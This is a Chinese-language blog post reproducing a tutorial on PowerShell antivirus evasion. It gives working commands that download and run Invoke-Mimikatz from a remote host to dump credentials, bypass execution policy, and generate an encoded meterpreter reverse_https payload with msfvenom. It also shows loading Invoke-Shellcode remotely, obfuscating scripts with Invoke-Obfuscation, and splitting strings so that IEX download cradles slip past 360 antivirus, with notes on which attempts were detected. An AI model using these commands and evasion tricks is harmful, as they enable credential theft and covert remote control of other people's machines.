powershell實現免殺(復現)
本篇為遠控免殺從入門到實踐(6)-代碼篇-Powershell復現篇
基礎知識
UNIX系統一直有着功能強大的殼程序(shell),Windows PowerShell的誕生就是要提供功能相當於UNIX系統的命令行殼程序(例如:sh、bash或csh),同時也內置腳本語言以及輔助腳本程序的工具,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能。
powershell具有在硬盤中易繞過,內存中難查殺的特點。一般在后滲透中,攻擊者可以在計算機上執行代碼時,會下載powershell腳本來執行,ps1腳本文件無需寫入到硬盤中,直接可以在內存中執行。
版本目錄
powershell只能針對win7之后的系統,之前的win操作系統默認沒有安裝powershell。不同架構的payload(x86或x64)需要不同版本的powershell來加載,否則會出錯。
64位所在目錄:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
32位所在目錄:
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
執行方式
- 網絡環境直接執行代碼
無文件寫入,相對較為隱蔽。下面代碼為加載遠程腳本Invoke-Mimikatz.ps1
,執行Mimikatz的DumpCreds功能。
powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
- 本地執行
先把http://10.211.55.2/Invoke-Mimikatz.ps1
下載到本地
然后導入powershell Import-Module .\Invoke-Mimikatz.ps1
使用命令Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
或者Invoke-Mimikatz -DumpCreds
執行策略
查看執行策略powershell Get-ExecutionPolicy
Unrestricted 權限最高,可以不受限制執行任意腳本
Restricted 默認策略,不允許任意腳本的執行
AllSigned 所有腳本必須經過簽名運行
RemoteSigned 本地腳本無限制,但是對來自網絡的腳本必須經過簽名
Bypass 沒有任何限制和提示
Undefined 沒有設置腳本的策略
繞過執行策略執行大概有以下幾種:
1.本地讀取然后通過管道符運行
powershell Get-Content 1.ps1 | powershell -NoProfile -
2.遠程下載並通過IEX運行腳本
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"
3.Bypass執行策略繞過
powershell -ExecutionPolicy bypass -File ./a.ps1
不會顯示警告和提示
4.Unrestricted執行策略標志
powershell -ExecutionPolicy unrestricted -File ./a.ps1
當運行一個從網上下載的未簽名的腳本時,會給出權限提示
需要解釋的是:
Invoke-Expression(IEX的別名):用來把字符串當作命令執行。
WindowStyle Hidden(-w Hidden):隱藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不為用戶提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加載當前用戶的配置文件。
Noexit(-Noe):執行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串編碼,避免一些解析問題
powershell加載shellcode
msf-ps1本地執行
加入shikata_ga_nai編碼的ps1腳本生成payload:
msfvenom -p windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 20 -b '\x00' lhost=192.168.211.147 lport=3333 -f psh -o shell3.ps1
將shell.ps1拷貝到目標機上,執行
powershell.exe -ExecutionPolicy Bypass -NoExit -File shell.ps1
msf:
use exploit/multi/handler
set payload /windows/x64/meterpreter/reverse_https
set LHOST ip
set LPORT
run
實際效果不佳,還是會報警
增加編碼次數還是會報警
Invoke-Shellcode加載
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.211.147:1337/shell3.ps1")
Invoke-Shellcode -Shellcode ($buf) -Force
實際中用powershell執行遠程下載或執行shellcode時,容易觸發殺軟行為規則
Invoke-Obfuscation
加載Invoke-Obfuscation:
在powershell中執行Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation
選擇免殺文件:
set scriptpath
選擇編碼方式:
encoding
輸出免殺文件:
免殺成功
msf成功上線
ps1行為免殺
對於IEX這種方便快捷的方式直接運行會被360攔截。可嘗試從語法上簡單變化。主要是對DownloadString、http做一些處理。
比如利用replace替換函數,可以bypass。
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
此payload已經被殺,需要根據實際進行更改
總結
復現Tide安全團隊的免殺篇,目前基於靜態特征免殺和一部分行為免殺,其他免殺方式將在后續陸續學習